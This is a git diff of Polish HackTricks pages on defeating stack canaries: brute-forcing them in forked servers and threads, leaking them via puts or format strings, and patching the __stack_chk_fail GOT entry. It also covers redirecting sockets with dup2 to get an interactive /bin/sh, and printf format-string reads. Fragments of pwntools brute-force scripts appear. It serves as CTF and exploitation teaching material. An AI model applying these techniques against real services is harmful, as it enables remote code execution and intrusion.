Należy zauważyć, że **GOT LIBC jest zazwyczaj częściowo zabezpieczone RELRO**, więc może być zmodyfikowane za pomocą dowolnego zapisu. Więcej informacji w [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
|
||||
|
|
|
|||
|
|
@ -10,41 +10,40 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## **StackGuard i StackShield**
|
||||
|
||||
**StackGuard** wstawia specjalną wartość znaną jako **kanarek** przed **EIP (Extended Instruction Pointer)**, konkretnie `0x000aff0d` (reprezentującą null, znak nowej linii, EOF, powrót karetki) w celu ochrony przed przepełnieniem bufora. Jednak funkcje takie jak `recv()`, `memcpy()`, `read()` i `bcopy()` pozostają podatne, a także nie chroni **EBP (Base Pointer)**.
|
||||
**StackGuard** wstawia specjalną wartość znaną jako **kanarka** przed **EIP (Extended Instruction Pointer)**, konkretnie `0x000aff0d` (reprezentującą null, znak nowej linii, EOF, powrót karetki) w celu ochrony przed przepełnieniem bufora. Jednak funkcje takie jak `recv()`, `memcpy()`, `read()` i `bcopy()` pozostają podatne, a także nie chroni **EBP (Base Pointer)**.
|
||||
|
||||
**StackShield** stosuje bardziej zaawansowane podejście niż StackGuard, utrzymując **Globalny Stos Powrotu**, który przechowuje wszystkie adresy powrotu (**EIP**). Ten układ zapewnia, że przepełnienie nie spowoduje szkód, ponieważ umożliwia porównanie przechowywanych i rzeczywistych adresów powrotu w celu wykrycia wystąpienia przepełnienia. Dodatkowo, StackShield może sprawdzić adres powrotu względem wartości granicznej, aby wykryć, czy **EIP** wskazuje poza oczekiwaną przestrzeń danych. Jednak ta ochrona może być obejścia za pomocą technik takich jak Return-to-libc, ROP (Return-Oriented Programming) lub ret2ret, co oznacza, że StackShield również nie chroni zmiennych lokalnych.
|
||||
|
||||
## **Protector Stack Smash (ProPolice) `-fstack-protector`:**
|
||||
|
||||
Ten mechanizm umieszcza **kanarka** przed **EBP** i przestawia zmienne lokalne w taki sposób, aby bufory znajdowały się na wyższych adresach pamięci, uniemożliwiając nadpisywanie innych zmiennych. Bezpiecznie kopiuje również argumenty przekazane na stosie powyżej zmiennych lokalnych i używa tych kopii jako argumentów. Jednak nie chroni tablic o mniej niż 8 elementach ani buforów w strukturze użytkownika.
|
||||
Ten mechanizm umieszcza **kanarkę** przed **EBP** i przestawia zmienne lokalne w taki sposób, aby bufory znajdowały się na wyższych adresach pamięci, uniemożliwiając nadpisywanie innych zmiennych. Bezpiecznie kopiuje również argumenty przekazane na stosie powyżej zmiennych lokalnych i używa tych kopii jako argumentów. Jednak nie chroni tablic o mniej niż 8 elementach ani buforów w strukturze użytkownika.
|
||||
|
||||
**Kanarek** to losowa liczba pochodząca z `/dev/urandom` lub domyślna wartość `0xff0a0000`. Jest przechowywany w **TLS (Thread Local Storage)**, co pozwala na współdzielone przestrzenie pamięci między wątkami, aby miały wątkowo specyficzne zmienne globalne lub statyczne. Te zmienne są początkowo kopiowane z procesu nadrzędnego, a procesy potomne mogą zmieniać swoje dane bez wpływu na proces nadrzędny lub rodzeństwo. Niemniej jednak, jeśli używane jest **`fork()` bez tworzenia nowego kanarka, wszystkie procesy (rodzic i dzieci) dzielą ten sam kanarek**, co czyni go podatnym. Na architekturze **i386**, kanarek jest przechowywany pod adresem `gs:0x14`, a na **x86\_64** pod adresem `fs:0x28`.
|
||||
**Kanarka** to losowa liczba pochodząca z `/dev/urandom` lub domyślna wartość `0xff0a0000`. Jest przechowywana w **TLS (Thread Local Storage)**, co pozwala na współdzielone przestrzenie pamięci między wątkami, aby miały wątkowo specyficzne zmienne globalne lub statyczne. Te zmienne są początkowo kopiowane z procesu nadrzędnego, a procesy potomne mogą zmieniać swoje dane bez wpływu na proces nadrzędny lub rodzeństwo. Niemniej jednak, jeśli używane jest **`fork()` bez tworzenia nowej kanarki, wszystkie procesy (rodzic i dzieci) dzielą tę samą kanarkę**, co czyni ją podatną. Na architekturze **i386**, kanarka jest przechowywana pod adresem `gs:0x14`, a na **x86\_64** pod adresem `fs:0x28`.
|
||||
|
||||
Ta lokalna ochrona identyfikuje funkcje z buforami podatnymi na ataki i wstrzykuje kod na początku tych funkcji, aby umieścić kanarka, a na końcu weryfikuje jego integralność.
|
||||
Ta lokalna ochrona identyfikuje funkcje z buforami podatnymi na ataki i wstrzykuje kod na początku tych funkcji, aby umieścić kanarkę, a na końcu weryfikuje jej integralność.
|
||||
|
||||
Gdy serwer WWW używa `fork()`, umożliwia atak brutalnej siły, aby zgadywać bajt kanarka po jednym bajcie. Jednak używając `execve()` po `fork()` nadpisuje przestrzeń pamięci, unieważniając atak. `vfork()` pozwala procesowi potomnemu wykonywać się bez duplikacji, aż spróbuje zapisać, wtedy tworzony jest duplikat, oferując inny sposób tworzenia procesów i obsługi pamięci.
|
||||
Gdy serwer WWW używa `fork()`, umożliwia atak brutalnej siły, aby zgadywać bajt kanarki po jednym bajcie. Jednak używając `execve()` po `fork()` nadpisuje przestrzeń pamięci, unieważniając atak. `vfork()` pozwala procesowi potomnemu wykonywać się bez duplikacji, aż spróbuje zapisać, wtedy tworzony jest duplikat, oferując inny sposób tworzenia procesów i obsługi pamięci.
|
||||
|
||||
### Długości
|
||||
|
||||
W binariach `x64`, ciasteczko kanarka ma **`0x8`** bajtów qword. **Pierwsze siedem bajtów jest losowe**, a ostatni bajt to **bajt null**.
|
||||
W binariach `x64`, ciasteczko kanarki to **`0x8`** bajtów qword. **Pierwsze siedem bajtów jest losowe**, a ostatni bajt to **bajt null**.
|
||||
|
||||
W binariach `x86`, ciasteczko kanarka ma **`0x4`** bajty dword. **Pierwsze trzy bajty są losowe**, a ostatni bajt to **bajt null**.
|
||||
W binariach `x86`, ciasteczko kanarki to **`0x4`** bajty dword. **Pierwsze trzy bajty są losowe**, a ostatni bajt to **bajt null**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Najmniej znaczący bajt obu kanarków to bajt null, ponieważ będzie pierwszy na stosie pochodzącym z niższych adresów i dlatego **funkcje czytające ciągi znaków zatrzymają się przed jego odczytaniem**.
|
||||
Najmniej znaczący bajt obu kanarków to bajt null, ponieważ będzie pierwszy na stosie pochodzący z niższych adresów i dlatego **funkcje czytające ciągi znaków zatrzymają się przed jego odczytaniem**.
|
||||
{% endhint %}
|
||||
|
||||
## Ominięcia
|
||||
|
||||
**Ujawnienie kanarka** a następnie nadpisanie go (np. przepełnienie bufora) jego własną wartością.
|
||||
**Ujawnienie kanarki** a następnie nadpisanie jej (np. przepełnienie bufora) własną wartością.
|
||||
|
||||
* Jeśli **kanarek jest klonowany w procesach potomnych**, może być możliwe **brutalne siłowe** odgadnięcie go po jednym bajcie:
|
||||
* Jeśli **kanarka jest klonowana w procesach potomnych**, może być możliwe **brutalne siłowe** jej zgadywanie po jednym bajcie:
|
||||
|
||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||
|
|
@ -58,15 +57,29 @@ Najmniej znaczący bajt obu kanarków to bajt null, ponieważ będzie pierwszy n
|
|||
|
||||
* **Nadpisywanie wskaźników przechowywanych na stosie**
|
||||
|
||||
Stos podatny na przepełnienie stosu może **zawierać adresy do ciągów znaków lub funkcji, które można nadpisać**, aby wykorzystać podatność bez konieczności dotarcia do kanarka stosu. Sprawdź:
|
||||
Stos podatny na przepełnienie stosu może **zawierać adresy do ciągów znaków lub funkcji, które można nadpisać**, aby wykorzystać podatność bez konieczności dotarcia do kanarki stosu. Sprawdź:
|
||||
|
||||
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
|
||||
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referencje
|
||||
* **Modyfikacja zarówno kanarki głównej, jak i wątkowej**
|
||||
|
||||
Przepełnienie bufora w funkcji wątkowej chronionej kanarką może być wykorzystane do **modyfikacji kanarki głównej wątku**. W rezultacie zastosowanie jest bezużyteczne, ponieważ sprawdzanie jest wykonywane z dwiema kanarkami, które są identyczne (choć zmodyfikowane).
|
||||
|
||||
Ten atak jest przeprowadzany w opisie: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
* **Modyfikacja wpisu GOT `__stack_chk_fail`**
|
||||
|
||||
Jeśli binarny plik ma Partial RELRO, można użyć zapisu arbitralnego do zmodyfikowania **wpisu GOT `__stack_chk_fail`** na funkcję-dummy, która nie blokuje programu, jeśli kanarka zostanie zmodyfikowana.
|
||||
|
||||
Ten atak jest przeprowadzany w opisie: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
|
||||
## Odwołania
|
||||
|
||||
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
|
||||
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -78,6 +91,4 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
* **Udostępnij swoje sztuczki hakerskie, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **na githubie.**
|
||||
|
|
|
|||
|
|
@ -7,19 +7,19 @@
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie będziesz musiał znaleźć sposób na ich obejście.**
|
||||
**Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie musisz znaleźć sposób na ich obejście.**
|
||||
|
||||
.png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Zauważ, że **`checksec`** może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został on statycznie skompilowany i nie jest w stanie zidentyfikować funkcji.\
|
||||
Zauważ, że **`checksec`** może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został on skompilowany statycznie i nie jest w stanie zidentyfikować funkcji.\
|
||||
Możesz jednak zauważyć to ręcznie, jeśli zauważysz, że wartość jest zapisywana na stosie na początku wywołania funkcji, a ta wartość jest sprawdzana przed wyjściem.
|
||||
{% endhint %}
|
||||
|
||||
|
|
@ -27,11 +27,11 @@ Możesz jednak zauważyć to ręcznie, jeśli zauważysz, że wartość jest zap
|
|||
|
||||
Najlepszym sposobem na obejście prostego canary jest, gdy binarny program **tworzy procesy potomne za każdym razem, gdy nawiązujesz z nim nowe połączenie** (usługa sieciowa), ponieważ za każdym razem, gdy się z nim łączysz, **używany będzie ten sam canary**.
|
||||
|
||||
Najlepszym sposobem na obejście canary jest po prostu **brutalne narzucanie go znak po znaku**, a możesz ustalić, czy zgadnięty bajt canary był poprawny, sprawdzając, czy program się zawiesił, czy kontynuuje swoje regularne działanie. W tym przykładzie funkcja **brutalnie narzuca 8-bajtowy canary (x64)** i rozróżnia między poprawnie zgadniętym bajtem a złym bajtem, po prostu **sprawdzając**, czy **serwer** wysyła **odpowiedź** (innym sposobem w **innych sytuacjach** mogłoby być użycie **try/except**):
|
||||
Najlepszym sposobem na obejście canary jest po prostu **brutalne narzucanie go znak po znaku**, a możesz ustalić, czy zgadnięty bajt canary był poprawny, sprawdzając, czy program się zawiesił, czy kontynuuje swoje regularne działanie. W tym przykładzie funkcja **brutalnie narzuca 8-bajtowy canary (x64)** i rozróżnia między poprawnie zgadniętym bajtem a złym bajtem, po prostu **sprawdzając**, czy **serwer wysłał odpowiedź** (innym sposobem w **innych sytuacjach** mogłoby być użycie **try/except**):
|
||||
|
||||
### Przykład 1
|
||||
|
||||
Ten przykład jest zaimplementowany dla 64 bitów, ale można go łatwo zaimplementować dla 32 bitów.
|
||||
Ten przykład jest zaimplementowany dla 64-bitów, ale można go łatwo zaimplementować dla 32-bitów.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -73,7 +73,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|||
### Przykład 2
|
||||
|
||||
To jest zaimplementowane dla 32 bitów, ale można to łatwo zmienić na 64 bity.\
|
||||
Zauważ również, że w tym przykładzie **program oczekiwał najpierw bajtu wskazującego rozmiar danych wejściowych** oraz ładunku.
|
||||
Zauważ również, że w tym przykładzie **program oczekuje najpierw bajtu wskazującego rozmiar danych wejściowych** oraz samego ładunku.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -116,9 +116,12 @@ log.info(f"The canary is: {canary}")
|
|||
```
|
||||
## Wątki
|
||||
|
||||
Wątki tego samego procesu będą również **dzielić ten sam token kanarka**, dlatego będzie możliwe **przeprowadzenie ataku brute-force** na kanarka, jeśli binarny plik uruchamia nowy wątek za każdym razem, gdy następuje atak. 
|
||||
Wątki tego samego procesu będą również **dzielić ten sam token kanarka**, dlatego będzie możliwe **przeprowadzenie ataku brute-force** na kanarka, jeśli binarny plik uruchamia nowy wątek za każdym razem, gdy występuje atak. 
|
||||
|
||||
Co więcej, przepełnienie bufora w funkcji wątkowej zabezpieczonej kanarkiem może być wykorzystane do **modyfikacji głównego kanarka wątku**. W rezultacie zastosowanie zabezpieczenia jest bezużyteczne, ponieważ sprawdzanie jest wykonywane z użyciem dwóch kanarków, które są identyczne (choć zmodyfikowane).\
|
||||
Ten atak jest opisany w artykule: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
## Inne przykłady i odnośniki
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64 bity, brak PIE, nx, BF kanark, zapisz w pamięci ROP do wywołania `execve` i skocz tam.
|
||||
* 64 bity, brak PIE, nx, BF kanark, zapisz w pamięci ROP, aby wywołać `execve` i przeskoczyć tam.
|
||||
|
|
|
|||
|
|
@ -22,25 +22,25 @@ Następnie atakujący **wywołuje funkcję puts** na środku ładunku, co spowod
|
|||
|
||||
Dzięki tym informacjom atakujący może **stworzyć i wysłać nowy atak**, znając kanarka (w tej samej sesji programu).
|
||||
|
||||
Oczywiście ta taktyka jest bardzo **ograniczona**, ponieważ atakujący musi być w stanie **wydrukować** zawartość swojego **ładunku**, aby **wyciec kanarka** i następnie móc stworzyć nowy ładunek (w tej **samej sesji programu**) i **wysłać** **rzeczywiste przepełnienie bufora**.
|
||||
Oczywiście ta taktyka jest bardzo **ograniczona**, ponieważ atakujący musi być w stanie **wydrukować** zawartość swojego **ładunku**, aby **wyciec kanarka**, a następnie móc stworzyć nowy ładunek (w **tej samej sesji programu**) i **wysłać** **rzeczywiste przepełnienie bufora**.
|
||||
|
||||
**Przykłady CTF:** 
|
||||
|
||||
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64 bity, ASLR włączone, ale brak PIE, pierwszym krokiem jest zapełnienie przepełnienia aż do bajtu 0x00 kanarka, a następnie wywołanie puts i wyciek kanarka. Z kanarka tworzony jest gadżet ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie gadżet ROP do wywołania `system('/bin/sh')`
|
||||
* 64 bity, włączone ASLR, ale brak PIE, pierwszym krokiem jest zapełnienie przepełnienia aż do bajtu 0x00 kanarka, a następnie wywołanie puts i wyciek kanarka. Z kanarka tworzony jest gadżet ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie gadżet ROP do wywołania `system('/bin/sh')`
|
||||
* [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
|
||||
* 32 bity, ARM, brak relro, kanarka, nx, brak pie. Przepełnienie z wywołaniem puts w celu wycieku kanarka + ret2lib wywołujący `system` z łańcuchem ROP do pop r0 (arg `/bin/sh`) i pc (adres systemu)
|
||||
* 32 bity, ARM, brak relro, kanarka, nx, brak pie. Przepełnienie z wywołaniem puts w celu wycieku kanarka + ret2lib wywołujący `system` za pomocą łańcucha ROP do wypchnięcia r0 (arg `/bin/sh`) i pc (adres systemu)
|
||||
|
||||
## Dowolne odczytywanie
|
||||
|
||||
Dzięki dowolnemu odczytowi, jak ten dostarczany przez **łańcuchy formatujące**, możliwe jest wycieknięcie kanarka. Sprawdź ten przykład: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) i przeczytaj o nadużywaniu łańcuchów formatujących do odczytywania dowolnych adresów pamięci w:
|
||||
Dzięki **dowolnemu odczytowi** jak ten dostarczany przez **ciągi formatujące**, możliwe może być wycieknięcie kanarka. Sprawdź ten przykład: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) i przeczytaj o nadużywaniu ciągów formatujących do odczytywania dowolnych adresów pamięci w:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
|
||||
* To wyzwanie nadużywa w bardzo prosty sposób łańcuch formatujący do odczytania kanarka ze stosu
|
||||
* To wyzwanie nadużywa w bardzo prosty sposób ciąg formatujący do odczytania kanarka ze stosu
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
|||
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## FDs w Eksploatacji Zdalnej
|
||||
|
||||
Podczas wysyłania exploitu do zdalnego serwera, który wywołuje **`system('/bin/sh')`** na przykład, zostanie to wykonane w procesie serwera oczywiście, a `/bin/sh` będzie oczekiwać wejścia z stdin (FD: `0`) i będzie drukować wynik w stdout i stderr (FDs `1` i `2`). W związku z tym atakujący nie będzie mógł interakcjonować z powłoką.
|
||||
Podczas wysyłania exploitu do zdalnego serwera, który wywołuje **`system('/bin/sh')`** na przykład, ta operacja zostanie wykonana w procesie serwera, a `/bin/sh` będzie oczekiwać danych wejściowych z stdin (FD: `0`) oraz będzie drukować wyniki w stdout i stderr (FDs `1` i `2`). W związku z tym atakujący nie będzie mógł interaktywnie korzystać z powłoki.
|
||||
|
||||
Sposobem na rozwiązanie tego problemu jest założenie, że gdy serwer został uruchomiony, utworzył **numer FD `3`** (do nasłuchiwania), a następnie Twoje połączenie będzie w **numerze FD `4`**. Dlatego możliwe jest użycie wywołania systemowego **`dup2`** do zduplikowania stdin (FD 0) i stdout (FD 1) w FD 4 (tego, który jest połączony z atakującym), co umożliwi nawiązanie kontaktu z powłoką po jej wykonaniu.
|
||||
|
||||
|
|
@ -37,7 +37,7 @@ p.interactive()
|
|||
```
|
||||
## Socat & pty
|
||||
|
||||
Należy zauważyć, że socat już przesyła `stdin` i `stdout` do gniazda. Jednak tryb `pty` **obejmuje znaki DELETE**. Dlatego jeśli wyślesz `\x7f` (`DELETE` -) to **usunie poprzedni znak** twojego exploitu.
|
||||
Należy zauważyć, że socat już przesyła **`stdin`** i **`stdout`** do gniazda. Jednak tryb `pty` **obejmuje znaki DELETE**. Dlatego jeśli wyślesz `\x7f` (`DELETE` -) to **usunie poprzedni znak** twojego exploitu.
|
||||
|
||||
Aby ominąć to, **znak ucieczki `\x16` musi być poprzedzony przez każde `\x7f` wysłane.**
|
||||
|
||||
|
|
|
|||
|
|
@ -7,16 +7,16 @@
|
|||
* Pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
W języku C **`printf`** to funkcja, która może być używana do **wyświetlania** ciągu znaków. **Pierwszym parametrem**, którego oczekuje ta funkcja, jest **surowy tekst z formatowaniem**. **Następne parametry** oczekiwane są jako **wartości** do **podstawienia** w miejsce **formatowania** z surowego tekstu.
|
||||
W języku C **`printf`** to funkcja, która może być używana do **wyświetlania** ciągu znaków. **Pierwszym parametrem**, którego oczekuje ta funkcja, jest **surowy tekst z formatami**. **Następne parametry** oczekiwane są jako **wartości** do **podstawienia** za **formatery** z surowego tekstu.
|
||||
|
||||
Podatność pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wykorzystując** możliwości **ciągu formatującego printf**, aby odczytać i **zapisać dowolne dane pod dowolnym adresem (do odczytu/zapisu)**. Pozwala to na **wykonywanie dowolnego kodu**.
|
||||
Podatność pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wykorzystując** możliwości **ciągu formatującego printf**, aby odczytać i **zapisać dowolne dane pod dowolnym adresem (do odczytu/zapisu)**. Dzięki temu będzie mógł **wykonać dowolny kod**.
|
||||
|
||||
#### Formatery:
|
||||
```bash
|
||||
|
|
@ -47,27 +47,27 @@ printf("%x %x %x", value); // Unexpected output: reads random values from the s
|
|||
```
|
||||
### **Dostęp do wskaźników**
|
||||
|
||||
Format **`%<n>$x`**, gdzie `n` to liczba, pozwala wskazać printfowi, aby wybrał n-ty parametr (ze stosu). Jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz to zrobić:
|
||||
Format **`%<n>$x`**, gdzie `n` to liczba, pozwala wskazać funkcji printf, aby wybrała n-ty parametr (ze stosu). Jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz to zrobić w następujący sposób:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
i odczytałbyś od pierwszego do czwartego parametru.
|
||||
|
||||
Lub możesz zrobić:
|
||||
Lub możesz:
|
||||
```c
|
||||
printf("$4%x")
|
||||
```
|
||||
i przeczytaj bezpośrednio czwarty.
|
||||
|
||||
Zauważ, że atakujący kontroluje parametr `pr`**`intf`**, co oznacza, że jego dane wejściowe znajdą się na stosie podczas wywołania `printf`, co oznacza, że może zapisywać konkretne adresy pamięci na stosie.
|
||||
Zauważ, że atakujący kontroluje parametr `pr`**`intf`, co oznacza, że** jego dane wejściowe znajdą się na stosie podczas wywołania `printf`, co oznacza, że może wpisać konkretne adresy pamięci na stosie.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Atakujący kontrolujący to wejście, będzie mógł **dodać dowolny adres na stosie i sprawić, że `printf` będzie mógł się do nich odwołać**. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie.
|
||||
{% endhint %}
|
||||
|
||||
## **Odczyt dowolny**
|
||||
## **Odczyt Dowolny**
|
||||
|
||||
Możliwe jest użycie formatownika **`$n%s`** aby sprawić, że **`printf`** pobierze **adres** znajdujący się na **pozycji n**, po czym **wydrukuje go jakby to był łańcuch znaków** (drukuje do momentu znalezienia 0x00). Dlatego jeśli bazowy adres binarny to **`0x8048000`**, a wiemy, że dane wejściowe użytkownika zaczynają się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego za pomocą:
|
||||
